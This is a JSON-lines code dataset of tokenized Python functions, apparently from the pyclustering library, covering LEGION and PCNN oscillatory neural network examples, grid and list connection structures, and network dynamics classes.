{"signature": "def thirteen_simplify_oscillator_three_stimulated_ensembles_list():", "body": "\"<STR_LIT>\"<EOL>parameters = legion_parameters();<EOL>parameters.Wt = <NUM_LIT>;<EOL>parameters.fi = <NUM_LIT>;<EOL>parameters.ENABLE_POTENTIONAL = False;<EOL>template_dynamic_legion(<NUM_LIT:15>, <NUM_LIT:1000>, <NUM_LIT:1000>, conn_type = conn_type.LIST_BIDIR, <EOL>stimulus = [<NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:1>], <EOL>params = parameters, <EOL>separate_repr = [ [<NUM_LIT:0>, <NUM_LIT:1>, <NUM_LIT:2>], [<NUM_LIT:3>, <NUM_LIT:4>, <NUM_LIT:5>, <NUM_LIT:9>, <NUM_LIT:10>], [<NUM_LIT:6>, <NUM_LIT:7>, <NUM_LIT:8>], [<NUM_LIT:11>, <NUM_LIT:12>, <NUM_LIT>, <NUM_LIT>] ])<EOL>", "docstring": "Good example of three synchronous ensembels", "id": "f15675:m9"}
{"signature": "def sixteen_oscillator_two_stimulated_ensembles_grid():", "body": "parameters = legion_parameters();<EOL>parameters.teta_x = -<NUM_LIT>;<EOL>template_dynamic_legion(<NUM_LIT:16>, <NUM_LIT>, <NUM_LIT>, conn_type = conn_type.GRID_FOUR, params = parameters, stimulus = [<NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:0>, <EOL><NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:0>, <EOL><NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:1>, <EOL><NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:1>, <NUM_LIT:1>])<EOL>", "docstring": "Not accurate false due to spikes are observed", "id": "f15675:m10"}
{"signature": "def simple_segmentation_example():", "body": "parameters = legion_parameters();<EOL>parameters.eps = <NUM_LIT>;<EOL>parameters.alpha = <NUM_LIT>;<EOL>parameters.betta = <NUM_LIT:0.1>;<EOL>parameters.gamma = <NUM_LIT>;<EOL>parameters.teta = <NUM_LIT>;<EOL>parameters.lamda = <NUM_LIT:0.1>;<EOL>parameters.teta_x = -<NUM_LIT:0.5>;<EOL>parameters.teta_p = <NUM_LIT>;<EOL>parameters.Wz = <NUM_LIT>;<EOL>parameters.mu = <NUM_LIT>;<EOL>parameters.fi = <NUM_LIT>;<EOL>parameters.teta_xz = <NUM_LIT:0.1>;<EOL>parameters.teta_zx = <NUM_LIT:0.1>;<EOL>parameters.ENABLE_POTENTIONAL = False;<EOL>template_dynamic_legion(<NUM_LIT>, <NUM_LIT>, <NUM_LIT>, <EOL>conn_type = conn_type.GRID_FOUR, <EOL>params = parameters, <EOL>stimulus = [<NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <EOL><NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:1>, <EOL><NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:1>, <EOL><NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:1>,<EOL><NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:1>,<EOL><NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:1>,<EOL><NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>,<EOL><NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>,<EOL><NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>],<EOL>separate_repr = [ [<NUM_LIT:0>, <NUM_LIT:1>, <NUM_LIT:2>, <NUM_LIT:9>, <NUM_LIT:10>, <NUM_LIT:11>, <NUM_LIT>, <NUM_LIT>, <NUM_LIT:20>], <EOL>[<NUM_LIT>, <NUM_LIT:15>, <NUM_LIT:16>, <NUM_LIT>, <NUM_LIT>, <NUM_LIT>, <NUM_LIT>, <NUM_LIT>, <NUM_LIT>, <NUM_LIT>, <NUM_LIT>, <NUM_LIT>, <NUM_LIT>, <NUM_LIT>, <NUM_LIT>, <NUM_LIT>, <NUM_LIT>], <EOL>[<NUM_LIT>, <NUM_LIT>, <NUM_LIT>, <NUM_LIT>, <NUM_LIT>, <NUM_LIT>, <NUM_LIT>, <NUM_LIT>, <NUM_LIT>, <NUM_LIT:64>, <NUM_LIT>, <NUM_LIT>, <NUM_LIT>, <NUM_LIT>, <NUM_LIT>, <NUM_LIT>] ])<EOL>", "docstring": "Perfect results!", "id": "f15675:m11"}
{"signature": "def nine_neurons_stimulated_one_sync():", "body": "params = pcnn_parameters();<EOL>template_dynamic_pcnn(<NUM_LIT:9>, <NUM_LIT:100>, [<NUM_LIT:1.0>] * <NUM_LIT:9>, params, conn_type.GRID_FOUR)<EOL>", "docstring": "Just dynamic demonstration", "id": "f15677:m3"}
{"signature": "def nine_neurons_mix_stimulated():", "body": "template_dynamic_pcnn(<NUM_LIT:9>, <NUM_LIT:100>, [<NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:1>, <EOL><NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <EOL><NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:1>], None, conn_type.GRID_FOUR)<EOL>", "docstring": "Just dynamic demonstration", "id": "f15677:m4"}
{"signature": "def twenty_five_neurons_mix_stimulated():", "body": "\"<STR_LIT>\"<EOL>params = pcnn_parameters();<EOL>params.AF = <NUM_LIT:0.1>;<EOL>params.AL = <NUM_LIT:0.0>;<EOL>params.AT = <NUM_LIT>;<EOL>params.VF = <NUM_LIT:1.0>;<EOL>params.VL = <NUM_LIT:1.0>;<EOL>params.VT = <NUM_LIT>;<EOL>params.M = <NUM_LIT:0.0>;<EOL>template_dynamic_pcnn(<NUM_LIT>, <NUM_LIT:100>, [<NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <EOL><NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>,<EOL><NUM_LIT:0>, <NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:0>, <NUM_LIT:0>,<EOL><NUM_LIT:0>, <NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:0>, <NUM_LIT:0>,<EOL><NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>], params, conn_type.GRID_FOUR, False)<EOL>", "docstring": "Object allocation", "id": "f15677:m5"}
{"signature": "def hundred_neurons_mix_stimulated():", "body": "params = pcnn_parameters();<EOL>params.AF = <NUM_LIT:0.1>;<EOL>params.AL = <NUM_LIT:0.1>;<EOL>params.AT = <NUM_LIT>;<EOL>params.VF = <NUM_LIT:1.0>;<EOL>params.VL = <NUM_LIT:1.0>;<EOL>params.VT = <NUM_LIT>;<EOL>params.W = <NUM_LIT:1.0>;<EOL>params.M = <NUM_LIT:1.0>;<EOL>template_dynamic_pcnn(<NUM_LIT:100>, <NUM_LIT:50>,  [<NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>,<EOL><NUM_LIT:0>, <NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>,<EOL><NUM_LIT:0>, <NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>,<EOL><NUM_LIT:0>, <NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>,<EOL><NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>,<EOL><NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>,<EOL><NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:0>,<EOL><NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:0>,<EOL><NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:0>,<EOL><NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>], params, conn_type.GRID_EIGHT, False)<EOL>", "docstring": "Allocate several clusters: the first contains borders (indexes of oscillators) and the second objects (indexes of oscillators)", "id": "f15677:m6"}
{"signature": "def segmentation_gray_image_building():", "body": "template_segmentation_image(IMAGE_SIMPLE_SAMPLES.IMAGE_SIMPLE_BUILDING, None, <NUM_LIT>, None, True, False, True)<EOL>", "docstring": "Long processing", "id": "f15678:m10"}
{"signature": "@property<EOL><INDENT>def height(self):<DEDENT>", "body": "return self.__height<EOL>", "docstring": "!\n        @brief Height of the network grid (that is defined by amout of oscillators in each column), this value is zero in case of non-grid structure.\n\n        @note This property returns valid value only for network with grid structure.", "id": "f15681:c4:m0"}
{"signature": "@property<EOL><INDENT>def width(self):<DEDENT>", "body": "return self.__width<EOL>", "docstring": "!\n        @brief Width of the network grid, this value is zero in case of non-grid structure.\n\n        @note This property returns valid value only for network with grid structure.", "id": "f15681:c4:m1"}
{"signature": "@property<EOL><INDENT>def structure(self):<DEDENT>", "body": "return self.__conn_type<EOL>", "docstring": "!\n        @brief Type of network structure that is used for connecting oscillators.", "id": "f15681:c4:m2"}
{"signature": "def __init__(self, num_osc, type_conn = conn_type.ALL_TO_ALL, conn_repr = conn_represent.MATRIX, height = None, width = None):", "body": "self._num_osc = num_osc;<EOL>self._conn_represent = conn_repr;<EOL>self.__conn_type = type_conn;<EOL>if (conn_repr is None):<EOL><INDENT>self._conn_represent = conn_represent.MATRIX;<EOL><DEDENT>if ( (type_conn == conn_type.GRID_EIGHT) or (type_conn == conn_type.GRID_FOUR) ):<EOL><INDENT>if ( (height is not None) and (width is not None) ):<EOL><INDENT>self.__height = height;<EOL>self.__width = width;<EOL><DEDENT>else:<EOL><INDENT>side_size = self._num_osc ** (<NUM_LIT:0.5>);<EOL>if (side_size - math.floor(side_size) > <NUM_LIT:0>):<EOL><INDENT>raise NameError(\"<STR_LIT>\" + str(num_osc) + \"<STR_LIT>\");<EOL><DEDENT>self.__height = int(side_size);<EOL>self.__width = self.__height;<EOL><DEDENT>if (self.__height * self.__width != self._num_osc):<EOL><INDENT>raise NameError('<STR_LIT>' + str(self.__width) + '<STR_LIT>' + str(self.__height) + '<STR_LIT>' + str(self._num_osc) + '<STR_LIT>');<EOL><DEDENT><DEDENT>self._create_structure(type_conn)<EOL>", "docstring": "!\n        @brief Constructor of the network.\n\n        @param[in] num_osc (uint): Number of oscillators in the network that defines size of the network.\n        @param[in] type_conn (conn_type): Type of connections that are used in the network between oscillators.\n        @param[in] conn_repr (conn_represent): Type of representation of connections.\n        @param[in] height (uint): Number of oscillators in column of the network, this argument is used \n                    only for network with grid structure (GRID_FOUR, GRID_EIGHT), for other types this argument is ignored.\n        @param[in] width (uint): Number of oscillotors in row of the network, this argument is used only \n                    for network with grid structure (GRID_FOUR, GRID_EIGHT), for other types this argument is ignored.", "id": "f15681:c4:m3"}
{"signature": "def __len__(self):", "body": "return self._num_osc<EOL>", "docstring": "!\n        @brief Returns size of the network that is defined by amount of oscillators.", "id": "f15681:c4:m4"}
{"signature": "def __create_all_to_all_connections(self):", "body": "if (self._conn_represent == conn_represent.MATRIX):<EOL><INDENT>for index in range(<NUM_LIT:0>, self._num_osc, <NUM_LIT:1>):<EOL><INDENT>self._osc_conn.append([True] * self._num_osc);<EOL>self._osc_conn[index][index] = False;<EOL><DEDENT><DEDENT>elif (self._conn_represent == conn_represent.LIST):<EOL><INDENT>for index in range(<NUM_LIT:0>, self._num_osc, <NUM_LIT:1>):<EOL><INDENT>self._osc_conn.append([neigh for neigh in range(<NUM_LIT:0>, self._num_osc, <NUM_LIT:1>) if index != neigh]);<EOL><DEDENT><DEDENT>", "docstring": "!\n        @brief Creates connections between all oscillators.", "id": "f15681:c4:m6"}
{"signature": "def __create_grid_four_connections(self):", "body": "side_size = self.__width;<EOL>if (self._conn_represent == conn_represent.MATRIX):<EOL><INDENT>self._osc_conn = [[<NUM_LIT:0>] * self._num_osc for index in range(<NUM_LIT:0>, self._num_osc, <NUM_LIT:1>)];<EOL><DEDENT>elif (self._conn_represent == conn_represent.LIST):<EOL><INDENT>self._osc_conn = [[] for index in range(<NUM_LIT:0>, self._num_osc, <NUM_LIT:1>)];<EOL><DEDENT>else:<EOL><INDENT>raise NameError(\"<STR_LIT>\");<EOL><DEDENT>for index in range(<NUM_LIT:0>, self._num_osc, <NUM_LIT:1>):<EOL><INDENT>upper_index = index - side_size;<EOL>lower_index = index + side_size;<EOL>left_index = index - <NUM_LIT:1>;<EOL>right_index = index + <NUM_LIT:1>;<EOL>node_row_index = math.ceil(index / side_size);<EOL>if (upper_index >= <NUM_LIT:0>):<EOL><INDENT>self.__create_connection(index, upper_index);<EOL><DEDENT>if (lower_index < self._num_osc):<EOL><INDENT>self.__create_connection(index, lower_index);<EOL><DEDENT>if ( (left_index >= <NUM_LIT:0>) and (math.ceil(left_index / side_size) == node_row_index) ):<EOL><INDENT>self.__create_connection(index, left_index);<EOL><DEDENT>if ( (right_index < self._num_osc) and (math.ceil(right_index / side_size) == node_row_index) ):<EOL><INDENT>self.__create_connection(index, right_index);<EOL><DEDENT><DEDENT>", "docstring": "!\n        @brief Creates network with connections that make up four grid structure.\n        @details Each oscillator may be connected with four neighbors in line with 'grid' structure: right, upper, left, lower.", "id": "f15681:c4:m7"}
{"signature": "def __create_grid_eight_connections(self):", "body": "self.__create_grid_four_connections();     <EOL>side_size = self.__width;<EOL>for index in range(<NUM_LIT:0>, self._num_osc, <NUM_LIT:1>):<EOL><INDENT>upper_left_index = index - side_size - <NUM_LIT:1>;<EOL>upper_right_index = index - side_size + <NUM_LIT:1>;<EOL>lower_left_index = index + side_size - <NUM_LIT:1>;<EOL>lower_right_index = index + side_size + <NUM_LIT:1>;<EOL>node_row_index = math.floor(index / side_size);<EOL>upper_row_index = node_row_index - <NUM_LIT:1>;<EOL>lower_row_index = node_row_index + <NUM_LIT:1>;<EOL>if ( (upper_left_index >= <NUM_LIT:0>) and (math.floor(upper_left_index / side_size) == upper_row_index) ):<EOL><INDENT>self.__create_connection(index, upper_left_index);<EOL><DEDENT>if ( (upper_right_index >= <NUM_LIT:0>) and (math.floor(upper_right_index / side_size) == upper_row_index) ):<EOL><INDENT>self.__create_connection(index, upper_right_index);<EOL><DEDENT>if ( (lower_left_index < self._num_osc) and (math.floor(lower_left_index / side_size) == lower_row_index) ):<EOL><INDENT>self.__create_connection(index, lower_left_index);<EOL><DEDENT>if ( (lower_right_index < self._num_osc) and (math.floor(lower_right_index / side_size) == lower_row_index) ):<EOL><INDENT>self.__create_connection(index, lower_right_index);<EOL><DEDENT><DEDENT>", "docstring": "!\n        @brief Creates network with connections that make up eight grid structure.\n        @details Each oscillator may be connected with eight neighbors in line with grid structure: right, right-upper, upper, upper-left, left, left-lower, lower, lower-right.", "id": "f15681:c4:m8"}
{"signature": "def __create_list_bidir_connections(self):", "body": "if (self._conn_represent == conn_represent.MATRIX):<EOL><INDENT>for index in range(<NUM_LIT:0>, self._num_osc, <NUM_LIT:1>):<EOL><INDENT>self._osc_conn.append([<NUM_LIT:0>] * self._num_osc);<EOL>self._osc_conn[index][index] = False;<EOL>if (index > <NUM_LIT:0>):<EOL><INDENT>self._osc_conn[index][index - <NUM_LIT:1>] = True;<EOL><DEDENT>if (index < (self._num_osc - <NUM_LIT:1>)):<EOL><INDENT>self._osc_conn[index][index + <NUM_LIT:1>] = True;<EOL><DEDENT><DEDENT><DEDENT>elif (self._conn_represent == conn_represent.LIST):<EOL><INDENT>for index in range(self._num_osc):<EOL><INDENT>self._osc_conn.append([]);<EOL>if (index > <NUM_LIT:0>):<EOL><INDENT>self._osc_conn[index].append(index - <NUM_LIT:1>);<EOL><DEDENT>if (index < (self._num_osc - <NUM_LIT:1>)):<EOL><INDENT>self._osc_conn[index].append(index + <NUM_LIT:1>);<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "!\n        @brief Creates network as bidirectional list.\n        @details Each oscillator may be conneted with two neighbors in line with classical list structure: right, left.", "id": "f15681:c4:m9"}
{"signature": "def __create_none_connections(self):", "body": "if (self._conn_represent == conn_represent.MATRIX):<EOL><INDENT>for _ in range(<NUM_LIT:0>, self._num_osc, <NUM_LIT:1>):<EOL><INDENT>self._osc_conn.append([False] * self._num_osc);<EOL><DEDENT><DEDENT>elif (self._conn_represent == conn_represent.LIST):<EOL><INDENT>self._osc_conn = [[] for _ in range(<NUM_LIT:0>, self._num_osc, <NUM_LIT:1>)];<EOL><DEDENT>", "docstring": "!\n        @brief Creates network without connections.", "id": "f15681:c4:m10"}
{"signature": "def __create_dynamic_connection(self):", "body": "if (self._conn_represent == conn_represent.MATRIX):<EOL><INDENT>for _ in range(<NUM_LIT:0>, self._num_osc, <NUM_LIT:1>):<EOL><INDENT>self._osc_conn.append([False] * self._num_osc);   <EOL><DEDENT><DEDENT>elif (self._conn_represent == conn_represent.LIST):<EOL><INDENT>self._osc_conn = [[] for _ in range(<NUM_LIT:0>, self._num_osc, <NUM_LIT:1>)];<EOL><DEDENT>", "docstring": "!\n        @brief Prepare storage for dynamic connections.", "id": "f15681:c4:m11"}
{"signature": "def _create_structure(self, type_conn = conn_type.ALL_TO_ALL):", "body": "self._osc_conn = list();<EOL>if (type_conn == conn_type.NONE):<EOL><INDENT>self.__create_none_connections();<EOL><DEDENT>elif (type_conn == conn_type.ALL_TO_ALL):<EOL><INDENT>self.__create_all_to_all_connections();<EOL><DEDENT>elif (type_conn == conn_type.GRID_FOUR):<EOL><INDENT>self.__create_grid_four_connections();<EOL><DEDENT>elif (type_conn == conn_type.GRID_EIGHT):<EOL><INDENT>self.__create_grid_eight_connections();<EOL><DEDENT>elif (type_conn == conn_type.LIST_BIDIR):<EOL><INDENT>self.__create_list_bidir_connections();<EOL><DEDENT>elif (type_conn == conn_type.DYNAMIC):<EOL><INDENT>self.__create_dynamic_connection();<EOL><DEDENT>else:<EOL><INDENT>raise NameError('<STR_LIT>');<EOL><DEDENT>", "docstring": "!\n        @brief Creates connection in line with representation of matrix connections [NunOsc x NumOsc].\n\n        @param[in] type_conn (conn_type): Connection type (all-to-all, bidirectional list, grid structure, etc.) that is used by the network.", "id": "f15681:c4:m12"}
{"signature": "def has_connection(self, i, j):", "body": "if (self._conn_represent == conn_represent.MATRIX):<EOL><INDENT>return (self._osc_conn[i][j]);<EOL><DEDENT>elif (self._conn_represent == conn_represent.LIST):<EOL><INDENT>for neigh_index in range(<NUM_LIT:0>, len(self._osc_conn[i]), <NUM_LIT:1>):<EOL><INDENT>if (self._osc_conn[i][neigh_index] == j):<EOL><INDENT>return True;<EOL><DEDENT><DEDENT>return False;<EOL><DEDENT>else:<EOL><INDENT>raise NameError(\"<STR_LIT>\");<EOL><DEDENT>", "docstring": "!\n        @brief Returns True if there is connection between i and j oscillators and False - if connection doesn't exist.\n\n        @param[in] i (uint): index of an oscillator in the network.\n        @param[in] j (uint): index of an oscillator in the network.", "id": "f15681:c4:m13"}
{"signature": "def set_connection(self, i, j):", "body": "if (self.structure != conn_type.DYNAMIC):<EOL><INDENT>raise NameError(\"<STR_LIT>\");<EOL><DEDENT>if (self._conn_represent == conn_represent.MATRIX):<EOL><INDENT>self._osc_conn[i][j] = True;<EOL>self._osc_conn[j][i] = True;<EOL><DEDENT>else:<EOL><INDENT>self._osc_conn[i].append(j);<EOL>self._osc_conn[j].append(i);<EOL><DEDENT>", "docstring": "!\n        @brief Couples two specified oscillators in the network with dynamic connections.\n\n        @param[in] i (uint): index of an oscillator that should be coupled with oscillator 'j' in the network.\n        @param[in] j (uint): index of an oscillator that should be coupled with oscillator 'i' in the network.\n\n        @note This method can be used only in case of DYNAMIC connections, otherwise it throws expection.", "id": "f15681:c4:m14"}
{"signature": "def get_neighbors(self, index):", "body": "if (self._conn_represent == conn_represent.LIST):<EOL><INDENT>return self._osc_conn[index];      <EOL><DEDENT>elif (self._conn_represent == conn_represent.MATRIX):<EOL><INDENT>return [neigh_index for neigh_index in range(self._num_osc) if self._osc_conn[index][neigh_index] == True];<EOL><DEDENT>else:<EOL><INDENT>raise NameError(\"<STR_LIT>\");<EOL><DEDENT>", "docstring": "!\n        @brief Finds neighbors of the oscillator with specified index.\n\n        @param[in] index (uint): index of oscillator for which neighbors should be found in the network.\n\n        @return (list) Indexes of neighbors of the specified oscillator.", "id": "f15681:c4:m15"}
{"signature": "def __init__(self):", "body": "<EOL>self.eps         = <NUM_LIT>;<EOL>self.alpha       = <NUM_LIT>;<EOL>self.gamma       = <NUM_LIT>;<EOL>self.betta       = <NUM_LIT:0.1>;<EOL>self.lamda       = <NUM_LIT:0.1>;<EOL>self.teta        = <NUM_LIT>;<EOL>self.teta_x      = -<NUM_LIT>;<EOL>self.teta_p      = <NUM_LIT>;<EOL>self.teta_xz     = <NUM_LIT:0.1>;<EOL>self.teta_zx     = <NUM_LIT:0.1>;<EOL>self.T           = <NUM_LIT>;<EOL>self.mu          = <NUM_LIT>;<EOL>self.Wz          = <NUM_LIT>;<EOL>self.Wt          = <NUM_LIT>;<EOL>self.fi          = <NUM_LIT>;<EOL>self.ro          = <NUM_LIT>;<EOL>self.I           = <NUM_LIT>;<EOL>self.ENABLE_POTENTIONAL = True<EOL>", "docstring": "!\n        @brief    Default constructor of parameters for LEGION (local excitatory global inhibitory oscillatory network).\n        @details  Constructor initializes parameters by default non-zero values that can be\n                  used for simple simulation.", "id": "f15682:c0:m0"}
{"signature": "@property<EOL><INDENT>def output(self):<DEDENT>", "body": "if (self.__ccore_legion_dynamic_pointer is not None):<EOL><INDENT>return wrapper.legion_dynamic_get_output(self.__ccore_legion_dynamic_pointer);<EOL><DEDENT>return self.__output<EOL>", "docstring": "!\n        @brief Returns output dynamic of the network.", "id": "f15682:c1:m0"}
{"signature": "@property<EOL><INDENT>def inhibitor(self):<DEDENT>", "body": "if (self.__ccore_legion_dynamic_pointer is not None):<EOL><INDENT>return wrapper.legion_dynamic_get_inhibitory_output(self.__ccore_legion_dynamic_pointer);<EOL><DEDENT>return self.__inhibitor<EOL>", "docstring": "!\n        @brief Returns output dynamic of the global inhibitor of the network.", "id": "f15682:c1:m1"}
{"signature": "@property<EOL><INDENT>def time(self):<DEDENT>", "body": "if (self.__ccore_legion_dynamic_pointer is not None):<EOL><INDENT>return wrapper.legion_dynamic_get_time(self.__ccore_legion_dynamic_pointer);<EOL><DEDENT>return list(range(len(self)))<EOL>", "docstring": "!\n        @brief Returns simulation time.", "id": "f15682:c1:m2"}
{"signature": "def __init__(self, output, inhibitor, time, ccore = None):", "body": "self.__output = output;<EOL>self.__inhibitor = inhibitor;<EOL>self._time = time;<EOL>self.__ccore_legion_dynamic_pointer = ccore<EOL>", "docstring": "!\n        @brief Constructor of legion dynamic.\n\n        @param[in] output (list): Output dynamic of the network represented by excitatory values of oscillators.\n        @param[in] inhibitor (list): Output dynamic of the global inhibitor of the network.\n        @param[in] time (list): Simulation time.\n        @param[in] ccore (POINTER): Pointer to CCORE legion_dynamic. If it is specified then others arguments can be omitted.", "id": "f15682:c1:m3"}
{"signature": "def __del__(self):", "body": "if (self.__ccore_legion_dynamic_pointer is not None):<EOL><INDENT>wrapper.legion_dynamic_destroy(self.__ccore_legion_dynamic_pointer);<EOL><DEDENT>", "docstring": "!\n        @brief Destructor of the dynamic of the legion network.", "id": "f15682:c1:m4"}
{"signature": "def __len__(self):", "body": "if (self.__ccore_legion_dynamic_pointer is not None):<EOL><INDENT>return wrapper.legion_dynamic_get_size(self.__ccore_legion_dynamic_pointer);<EOL><DEDENT>return len(self._time)<EOL>", "docstring": "!\n        @brief Returns length of output dynamic.", "id": "f15682:c1:m5"}
{"signature": "def allocate_sync_ensembles(self, tolerance = <NUM_LIT:0.1>):", "body": "if (self.__ccore_legion_dynamic_pointer is not None):<EOL><INDENT>self.__output = wrapper.legion_dynamic_get_output(self.__ccore_legion_dynamic_pointer);<EOL><DEDENT>return allocate_sync_ensembles(self.__output, tolerance)<EOL>", "docstring": "!\n        @brief Allocate clusters in line with ensembles of synchronous oscillators where each synchronous ensemble corresponds to only one cluster.\n\n        @param[in] tolerance (double): Maximum error for allocation of synchronous ensemble oscillators.\n\n        @return (list) Grours of indexes of synchronous oscillators, for example, [ [index_osc1, index_osc3], [index_osc2], [index_osc4, index_osc5] ].", "id": "f15682:c1:m6"}
{"signature": "def __init__(self, num_osc, parameters = None, type_conn = conn_type.ALL_TO_ALL, type_conn_represent = conn_represent.MATRIX, ccore = True):", "body": "self._params = None;                 <EOL>self.__ccore_legion_pointer = None;<EOL>self._params = parameters;<EOL>if (self._params is None):<EOL><INDENT>self._params = legion_parameters();<EOL><DEDENT>if ( (ccore is True) and ccore_library.workable() ):<EOL><INDENT>self.__ccore_legion_pointer = wrapper.legion_create(num_osc, type_conn, self._params);<EOL><DEDENT>else: <EOL><INDENT>super().__init__(num_osc, type_conn, type_conn_represent);<EOL>self._excitatory = [ random.random() for _ in range(self._num_osc) ];<EOL>self._inhibitory = [<NUM_LIT:0.0>] * self._num_osc;<EOL>self._potential = [<NUM_LIT:0.0>] * self._num_osc;<EOL>self._coupling_term = None;      <EOL>self._global_inhibitor = <NUM_LIT:0>;      <EOL>self._stimulus = None;           <EOL>self._dynamic_coupling = None;   <EOL>self._coupling_term = [<NUM_LIT:0.0>] * self._num_osc;<EOL>self._buffer_coupling_term = [<NUM_LIT:0.0>] * self._num_osc;<EOL>self._noise = [random.random() * self._params.ro for i in range(self._num_osc)];<EOL><DEDENT>", "docstring": "!\n        @brief Constructor of oscillatory network LEGION (local excitatory global inhibitory oscillatory network).\n\n        @param[in] num_osc (uint): Number of oscillators in the network.\n        @param[in] parameters (legion_parameters): Parameters of the network that are defined by structure 'legion_parameters'.\n        @param[in] type_conn (conn_type): Type of connection between oscillators in the network.\n        @param[in] type_conn_represent (conn_represent): Internal representation of connection in the network: matrix or list.\n        @param[in] ccore (bool): If True then all interaction with object will be performed via CCORE library (C++ implementation of pyclustering).", "id": "f15682:c2:m0"}
{"signature": "def __del__(self):", "body": "if (self.__ccore_legion_pointer is not None):<EOL><INDENT>wrapper.legion_destroy(self.__ccore_legion_pointer);<EOL>self.__ccore_legion_pointer = None;<EOL><DEDENT>", "docstring": "!\n        @brief Default destructor of LEGION.", "id": "f15682:c2:m1"}
{"signature": "def __len__(self):", "body": "if (self.__ccore_legion_pointer is not None):<EOL><INDENT>return wrapper.legion_get_size(self.__ccore_legion_pointer);<EOL><DEDENT>return self._num_osc<EOL>", "docstring": "!\n        @brief (uint) Returns size of LEGION.", "id": "f15682:c2:m2"}
